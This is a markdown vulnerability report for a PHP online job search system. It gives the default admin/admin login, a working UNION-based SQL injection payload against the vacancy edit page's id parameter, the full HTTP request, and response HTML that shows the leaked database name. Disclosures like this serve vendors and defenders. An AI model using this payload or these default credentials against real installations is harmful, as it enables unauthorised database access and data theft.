

main

...

bug\_report / vendors / campcodes.com / online-job-search-system / SQLi-3.md



debug601 Update SQLi-3.md

History

1 contributor

31 lines (21 sloc) | 1.22 KB

...

# Complete Online Job Search System v1.0 has SQL injection

BUG\_Author: 朝阳

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/admin/vacancy/index.php?view=edit&id=

Vulnerability location: /eris/admin/vacancy/index.php?view=edit&id=id

Current database name: erisdb

[+] Payload: /eris/admin/vacancy/index.php?

view=edit&id=-1%27%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13--+ //

Leak place ---> id

```
GET /eris/admin/vacancy/index.php?view=edit&id=-1%27%20union%20select%201,2,3,databa
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4  
Connection: close



```
GET /eris/admin/vacancy/index.php?view=edit&id=-1%27%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4
Connection: close
```

```
<option value=10>Technology</option><option value=11>Managerial</option><option value=12>Engineer</option><option value=13>IT</option><option value=14>Civil Engineer</option><option value=15>HR</option><option value=23>Sales</option><option value=24>Banking</option><option value=25>Finance</option><option value=26>BPO</option><option value=27>Digital Marketing</option><option value=28>Shipping</option></select>
</div>
<div class="form-group">
<div class="col-md-8">
<label class="col-md-4 control-label" for="OCCUPATIONTITLE">Occupation Title:</label>
<div class="col-md-8">
<input class="form-control input-sm" id="OCCUPATIONTITLE" name="OCCUPATIONTITLE" placeholder="Occupation Title" autocomplete="none" value="erisdb"/>
</div>
</div>
<div class="form-group">
<div class="col-md-8">
<label class="col-md-4 control-label" for="REQ_NO_EMPLOYEES">Required no. of Employees:</label>
<div class="col-md-8">
<input class="form-control input-sm" id="REQ_NO_EMPLOYEES" name="REQ_NO_EMPLOYEES" value="5">
</div>
</div>
```

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL  
Split URL  
Execute

http://192.168.1.19/eris/admin/vacancy/index.php?view=edit&id=-1' union select 1,2,3,database(),5,6,7,8,9,10,11,12,13--+|

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

ERIS

Vacancy

Dashboard Company Vacancy Employee Applicants Category Manage Users

Update Job Vacancy

Company Name: URC

Category: Select

Occupation Title: erisdb

Required no. of Employees: 5

Salary: 6

Duration of Employment: 7

Qualification/Work Experience: 8